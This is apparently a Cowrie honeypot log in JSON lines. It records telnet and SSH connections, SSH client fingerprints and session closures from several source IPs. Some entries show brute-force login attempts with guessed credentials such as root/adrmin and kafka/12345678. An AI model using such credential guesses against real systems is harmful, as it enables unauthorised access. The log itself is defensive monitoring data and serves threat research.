{"eventid":"cowrie.session.connect","src_ip":"192.119.108.58","src_port":40864,"dst_ip":"159.203.135.109","dst_port":23,"session":"c7cd32efd87d","protocol":"telnet","message":"New connection: 192.119.108.58:40864 (159.203.135.109:23) [session: c7cd32efd87d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:24:25.492554Z"}
{"eventid":"cowrie.login.failed","username":"kafka","password":"12345678","message":"login attempt [kafka/12345678] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:24:26.132295Z","src_ip":"114.35.59.237","session":"9f7a92cee5bc","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":32.450814723968506,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:24:26.135899Z","src_ip":"161.132.53.68","session":"982a28f2b879","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"104.245.105.2","src_port":51448,"dst_ip":"10.17.0.5","dst_port":23,"session":"e4e530bc9628","protocol":"telnet","message":"New connection: 104.245.105.2:51448 (10.17.0.5:23) [session: e4e530bc9628]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:24:27.121246Z"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:24:27.344035Z","src_ip":"114.35.59.237","session":"9f7a92cee5bc","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":32.98843836784363,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:24:27.848189Z","src_ip":"161.132.53.68","session":"25d801018c80","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":32.21776747703552,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:24:29.583983Z","src_ip":"161.132.53.68","session":"f281bffc62ab","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"161.132.53.68","src_port":40338,"dst_ip":"159.203.135.109","dst_port":23,"session":"ce614e3fa7c5","protocol":"telnet","message":"New connection: 161.132.53.68:40338 (159.203.135.109:23) [session: ce614e3fa7c5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:24:30.785676Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.108.58","src_port":43124,"dst_ip":"159.203.135.109","dst_port":23,"session":"e2097b75c468","protocol":"telnet","message":"New connection: 192.119.108.58:43124 (159.203.135.109:23) [session: e2097b75c468]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:24:31.367127Z"}
{"eventid":"cowrie.session.connect","src_ip":"161.132.53.68","src_port":40342,"dst_ip":"159.203.135.109","dst_port":23,"session":"19a1b85277fe","protocol":"telnet","message":"New connection: 161.132.53.68:40342 (159.203.135.109:23) [session: 19a1b85277fe]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:24:31.608796Z"}
{"eventid":"cowrie.session.closed","duration":32.4600145816803,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:24:31.968736Z","src_ip":"161.132.53.68","session":"f68902c93b33","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"104.245.105.2","src_port":40526,"dst_ip":"10.17.0.5","dst_port":23,"session":"61abe512f58f","protocol":"telnet","message":"New connection: 104.245.105.2:40526 (10.17.0.5:23) [session: 61abe512f58f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:24:32.957471Z"}
{"eventid":"cowrie.session.connect","src_ip":"161.132.53.68","src_port":40346,"dst_ip":"159.203.135.109","dst_port":23,"session":"9c42c2972ccd","protocol":"telnet","message":"New connection: 161.132.53.68:40346 (159.203.135.109:23) [session: 9c42c2972ccd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:24:33.011898Z"}
{"eventid":"cowrie.session.closed","duration":7.25024938583374,"message":"Connection lost after 7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:24:34.371471Z","src_ip":"104.245.105.2","session":"e4e530bc9628","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"161.132.53.68","src_port":59640,"dst_ip":"159.203.135.109","dst_port":23,"session":"ef3dd9156afe","protocol":"telnet","message":"New connection: 161.132.53.68:59640 (159.203.135.109:23) [session: ef3dd9156afe]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:24:36.666545Z"}
{"eventid":"cowrie.session.closed","duration":33.51297950744629,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:24:38.735295Z","src_ip":"161.132.53.68","session":"a1ef02cbee2a","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.727017879486084,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:24:41.707322Z","src_ip":"192.119.108.58","session":"95e9224fb40d","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.108.58","src_port":46464,"dst_ip":"159.203.135.109","dst_port":23,"session":"d1748b411a11","protocol":"telnet","message":"New connection: 192.119.108.58:46464 (159.203.135.109:23) [session: d1748b411a11]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:24:41.994917Z"}
{"eventid":"cowrie.session.closed","duration":32.57223916053772,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:24:43.733686Z","src_ip":"161.132.53.68","session":"f2e37b4a7598","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"161.132.53.68","src_port":59648,"dst_ip":"159.203.135.109","dst_port":23,"session":"d5699723ccc0","protocol":"telnet","message":"New connection: 161.132.53.68:59648 (159.203.135.109:23) [session: d5699723ccc0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:24:44.825203Z"}
{"eventid":"cowrie.session.connect","src_ip":"161.132.53.68","src_port":47366,"dst_ip":"159.203.135.109","dst_port":23,"session":"b327af85a966","protocol":"telnet","message":"New connection: 161.132.53.68:47366 (159.203.135.109:23) [session: b327af85a966]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:24:46.760587Z"}
{"eventid":"cowrie.session.connect","src_ip":"200.105.172.184","src_port":38690,"dst_ip":"159.203.135.109","dst_port":22,"session":"0bd7bdd03617","protocol":"ssh","message":"New connection: 200.105.172.184:38690 (159.203.135.109:22) [session: 0bd7bdd03617]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:24:48.609594Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:24:48.613474Z","src_ip":"200.105.172.184","session":"0bd7bdd03617","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:24:48.731183Z","src_ip":"200.105.172.184","session":"0bd7bdd03617","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.490851879119873,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:24:49.131174Z","src_ip":"192.119.108.58","session":"3016c9aeb27b","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"root","password":"adrmin","message":"login attempt [root/adrmin] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:24:49.243366Z","src_ip":"200.105.172.184","session":"0bd7bdd03617","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"161.132.53.68","src_port":47682,"dst_ip":"159.203.135.109","dst_port":23,"session":"d387a945404e","protocol":"telnet","message":"New connection: 161.132.53.68:47682 (159.203.135.109:23) [session: d387a945404e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:24:50.033170Z"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:24:50.368053Z","src_ip":"200.105.172.184","session":"0bd7bdd03617","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"124.18.182.99","src_port":51826,"dst_ip":"10.17.0.5","dst_port":22,"session":"32ea4366f2cc","protocol":"ssh","message":"New connection: 124.18.182.99:51826 (10.17.0.5:22) [session: 32ea4366f2cc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:24:51.108238Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:24:51.112374Z","src_ip":"124.18.182.99","session":"32ea4366f2cc","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.533241748809814,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:24:51.164907Z","src_ip":"161.132.53.68","session":"eab83f2d3135","protocol":"telnet"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:24:51.293071Z","src_ip":"124.18.182.99","session":"32ea4366f2cc","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.683093786239624,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:24:51.525020Z","src_ip":"161.132.53.68","session":"3958f7caf052","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"arkserver","password":"a","message":"login attempt [arkserver/a] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:24:52.039448Z","src_ip":"124.18.182.99","session":"32ea4366f2cc","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"161.132.53.68","src_port":47752,"dst_ip":"159.203.135.109","dst_port":23,"session":"84577bd71f79","protocol":"telnet","message":"New connection: 161.132.53.68:47752 (159.203.135.109:23) [session: 84577bd71f79]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:24:52.697246Z"}
{"eventid":"cowrie.session.closed","duration":"2.1","message":"Connection lost after 2.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:24:53.221130Z","src_ip":"124.18.182.99","session":"32ea4366f2cc","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"104.245.105.2","src_port":45612,"dst_ip":"10.17.0.5","dst_port":23,"session":"9b42500eb81b","protocol":"telnet","message":"New connection: 104.245.105.2:45612 (10.17.0.5:23) [session: 9b42500eb81b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:24:53.695757Z"}
{"eventid":"cowrie.session.closed","duration":30.44499635696411,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:24:54.215629Z","src_ip":"161.132.53.68","session":"318db035eb69","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.31903600692749,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:24:54.250022Z","src_ip":"161.132.53.68","session":"cdfd163cc687","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.80002522468567,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:24:54.505927Z","src_ip":"161.132.53.68","session":"fc5d0e9c8ddb","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.54470205307007,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:24:56.037126Z","src_ip":"192.119.108.58","session":"c7cd32efd87d","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.983776807785034,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:24:56.124281Z","src_ip":"192.119.108.58","session":"810140c0e498","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"161.132.53.68","src_port":47860,"dst_ip":"159.203.135.109","dst_port":23,"session":"c68191b30957","protocol":"telnet","message":"New connection: 161.132.53.68:47860 (159.203.135.109:23) [session: c68191b30957]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:24:56.546452Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.108.58","src_port":53846,"dst_ip":"159.203.135.109","dst_port":23,"session":"04de9b2dfafa","protocol":"telnet","message":"New connection: 192.119.108.58:53846 (159.203.135.109:23) [session: 04de9b2dfafa]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:24:56.881721Z"}
{"eventid":"cowrie.session.connect","src_ip":"161.132.53.68","src_port":58598,"dst_ip":"159.203.135.109","dst_port":23,"session":"48c1c23ddc76","protocol":"telnet","message":"New connection: 161.132.53.68:58598 (159.203.135.109:23) [session: 48c1c23ddc76]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:24:57.545022Z"}
{"eventid":"cowrie.session.connect","src_ip":"161.132.53.68","src_port":58612,"dst_ip":"159.203.135.109","dst_port":23,"session":"5a48b3ba7faa","protocol":"telnet","message":"New connection: 161.132.53.68:58612 (159.203.135.109:23) [session: 5a48b3ba7faa]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:24:58.463635Z"}
{"eventid":"cowrie.session.connect","src_ip":"161.132.53.68","src_port":58630,"dst_ip":"159.203.135.109","dst_port":23,"session":"cdcb54766da0","protocol":"telnet","message":"New connection: 161.132.53.68:58630 (159.203.135.109:23) [session: cdcb54766da0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:24:59.416558Z"}
{"eventid":"cowrie.session.connect","src_ip":"161.132.53.68","src_port":58642,"dst_ip":"159.203.135.109","dst_port":23,"session":"20a9990ed712","protocol":"telnet","message":"New connection: 161.132.53.68:58642 (159.203.135.109:23) [session: 20a9990ed712]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:25:00.391544Z"}
{"eventid":"cowrie.session.connect","src_ip":"161.132.53.68","src_port":58620,"dst_ip":"159.203.135.109","dst_port":23,"session":"ee623d63a5f6","protocol":"telnet","message":"New connection: 161.132.53.68:58620 (159.203.135.109:23) [session: ee623d63a5f6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:25:01.614261Z"}
{"eventid":"cowrie.session.closed","duration":31.134033918380737,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:25:01.919582Z","src_ip":"161.132.53.68","session":"ce614e3fa7c5","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"161.132.53.68","src_port":58648,"dst_ip":"159.203.135.109","dst_port":23,"session":"aa0390f16310","protocol":"telnet","message":"New connection: 161.132.53.68:58648 (159.203.135.109:23) [session: aa0390f16310]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:25:02.319120Z"}
{"eventid":"cowrie.session.closed","duration":31.132800102233887,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:25:02.499828Z","src_ip":"192.119.108.58","session":"e2097b75c468","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.95187735557556,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:25:03.560554Z","src_ip":"161.132.53.68","session":"19a1b85277fe","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":33.200464725494385,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:25:06.212240Z","src_ip":"161.132.53.68","session":"9c42c2972ccd","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"161.132.53.68","src_port":58658,"dst_ip":"159.203.135.109","dst_port":23,"session":"a443be928054","protocol":"telnet","message":"New connection: 161.132.53.68:58658 (159.203.135.109:23) [session: a443be928054]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:25:06.223329Z"}
{"eventid":"cowrie.session.closed","duration":33.343079805374146,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:25:06.300439Z","src_ip":"104.245.105.2","session":"61abe512f58f","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":32.04016637802124,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:25:08.706610Z","src_ip":"161.132.53.68","session":"ef3dd9156afe","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"220.119.37.141","src_port":36462,"dst_ip":"10.17.0.5","dst_port":22,"session":"db32293a3fd4","protocol":"ssh","message":"New connection: 220.119.37.141:36462 (10.17.0.5:22) [session: db32293a3fd4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:25:08.947891Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:25:08.953008Z","src_ip":"220.119.37.141","session":"db32293a3fd4","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:25:09.151840Z","src_ip":"220.119.37.141","session":"db32293a3fd4","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"123qwe...","message":"login attempt [root/123qwe...] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:25:09.980128Z","src_ip":"220.119.37.141","session":"db32293a3fd4","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"161.132.53.68","src_port":42036,"dst_ip":"159.203.135.109","dst_port":23,"session":"38a323bc739c","protocol":"telnet","message":"New connection: 161.132.53.68:42036 (159.203.135.109:23) [session: 38a323bc739c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:25:10.565665Z"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:25:11.183910Z","src_ip":"220.119.37.141","session":"db32293a3fd4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":31.500672340393066,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:25:13.495512Z","src_ip":"192.119.108.58","session":"d1748b411a11","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"161.132.53.68","src_port":42048,"dst_ip":"159.203.135.109","dst_port":23,"session":"d79b68473b16","protocol":"telnet","message":"New connection: 161.132.53.68:42048 (159.203.135.109:23) [session: d79b68473b16]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:25:14.442570Z"}
{"eventid":"cowrie.session.closed","duration":31.662140369415283,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:25:16.487233Z","src_ip":"161.132.53.68","session":"d5699723ccc0","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"161.132.53.68","src_port":37304,"dst_ip":"159.203.135.109","dst_port":23,"session":"1ccace44bf10","protocol":"telnet","message":"New connection: 161.132.53.68:37304 (159.203.135.109:23) [session: 1ccace44bf10]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:25:17.316282Z"}
